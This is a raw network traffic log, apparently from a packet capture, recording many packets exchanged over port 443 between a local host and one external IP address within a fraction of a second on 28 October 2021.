Oct 28, 2021 22:43:28.072766066 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.072840929 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.072909117 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.072978020 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.074116945 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.074192047 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.074235916 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.074305058 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.074340105 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.074399948 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.075139999 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.075213909 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.076015949 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.076091051 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.076142073 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.076205969 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.076981068 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.077047110 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.077112913 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.077178001 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.079031944 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.079051971 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.079106092 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.079108953 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.079142094 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.079157114 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.079166889 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.079179049 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.079221010 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.079879045 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.079988003 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.081176996 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.081219912 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.081270933 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.081284046 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.081302881 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.081335068 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.082835913 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.082879066 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.082931042 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.082942963 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.082964897 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.084551096 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.084589005 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.084608078 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.084621906 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.084640026 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.084682941 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.086253881 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.086294889 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.086339951 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.086357117 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.086374044 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.086404085 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.087835073 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.087873936 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.087929010 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.087944031 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.088021040 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.088051081 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.088908911 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.088948965 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.089024067 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.089036942 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.089090109 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.090554953 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.090595961 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.090650082 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.090663910 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.090681076 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.090713978 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.091561079 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.091603994 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.091655016 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.091666937 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.091701031 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.091722012 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.092577934 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.092617035 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.092667103 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.092680931 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.092713118 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.092727900 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.094038010 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.094078064 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.094122887 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.094132900 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.094150066 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.094181061 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.095232964 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.095277071 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.095314026 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.095333099 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.095350027 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.095381975 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.096677065 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.096720934 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.096765041 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.096776962 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.096816063 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.096853971 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.097845078 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.097883940 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.097934961 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.097949028 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.097966909 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.098005056 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.098521948 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.098562002 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.098608971 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.098620892 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.098635912 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.098666906 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.099399090 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.099472046 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.099489927 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.099502087 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.099530935 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.100372076 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.100410938 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.100462914 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.100475073 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.100514889 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.100608110 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.100645065 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.100672960 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.100691080 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.100708008 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.101541042 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.101579905 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.101615906 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.101628065 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.101653099 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.102195978 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.102236032 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.102269888 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.102283001 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.102307081 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.102438927 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.102478027 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.102509022 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.102520943 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.102538109 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.103251934 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.103293896 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.103334904 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.103346109 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.103362083 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.104340076 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.104381084 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.104425907 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.104440928 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.104456902 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.104810953 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.104878902 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.104882956 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.104906082 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.104949951 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.105138063 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.105174065 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.105217934 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.105228901 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.105249882 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.106096029 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.106142044 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.106180906 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.106189966 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.106235981 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.106730938 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.106760025 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.106800079 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.106818914 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.106832027 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.106904984 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.106931925 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.106981039 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.106997967 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.107009888 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.107635975 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.107664108 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.107709885 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.107722998 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.107748032 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.108153105 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.108186960 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.108231068 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.108243942 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.108259916 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.110160112 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.110193968 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.110255003 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.110265970 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.110280991 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.110547066 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.110584974 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.110622883 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.110640049 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.110656023 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.110929012 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.110960007 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.111004114 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.111018896 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.111036062 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.111128092 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.111157894 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.111196995 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.111208916 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.111224890 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.111574888 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.111603975 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.111645937 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.111658096 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.111673117 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.111763954 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.111795902 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.111835003 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.111845016 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.111860037 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.112354994 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.112389088 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.112438917 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.112453938 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.112466097 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.112721920 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.112761974 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.112803936 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.112816095 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.112832069 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.115453005 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.115483046 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.115540028 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.115551949 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.115571022 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.115648985 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.115683079 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.115724087 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.115739107 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.115752935 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.116149902 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.116180897 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.116226912 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.116238117 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.116252899 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.116260052 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.116311073 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.116321087 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.116372108 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.122533083 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.122566938 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.122644901 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.122675896 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.122694016 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.122741938 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.122916937 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.122947931 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.122993946 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.123003960 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.123027086 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.123058081 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.123327971 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.123358011 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.123404026 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.123414040 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.123435020 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.123475075 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.123563051 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.123589039 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.123635054 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.123645067 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.123661041 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.123701096 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.124130011 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.124156952 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.124205112 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.124216080 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.124245882 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.124288082 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.124476910 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.124504089 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.124553919 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.124563932 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.124586105 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.125220060 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.125246048 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.125278950 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.125293970 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.125308037 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.125323057 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.125361919 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.125487089 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.125515938 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.125560999 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.125572920 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.125591993 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.125629902 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.126315117 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.126343966 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.126396894 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.126408100 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.126432896 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.126460075 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.126558065 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.126590014 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.126627922 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.126641989 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.126658916 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.126686096 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.126872063 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.126908064 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.126965046 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.126980066 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.126996040 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.127036095 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.127178907 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.127383947 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.127417088 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.127464056 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.127475023 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.127501965 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.127518892 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.127571106 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.127603054 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.127650023 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.127661943 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.127676964 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.127708912 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.127739906 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.127768993 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.127815008 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.127826929 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.127839088 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.127882004 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.127882957 CEST	443	49747	162.159.129.233	192.168.2.3
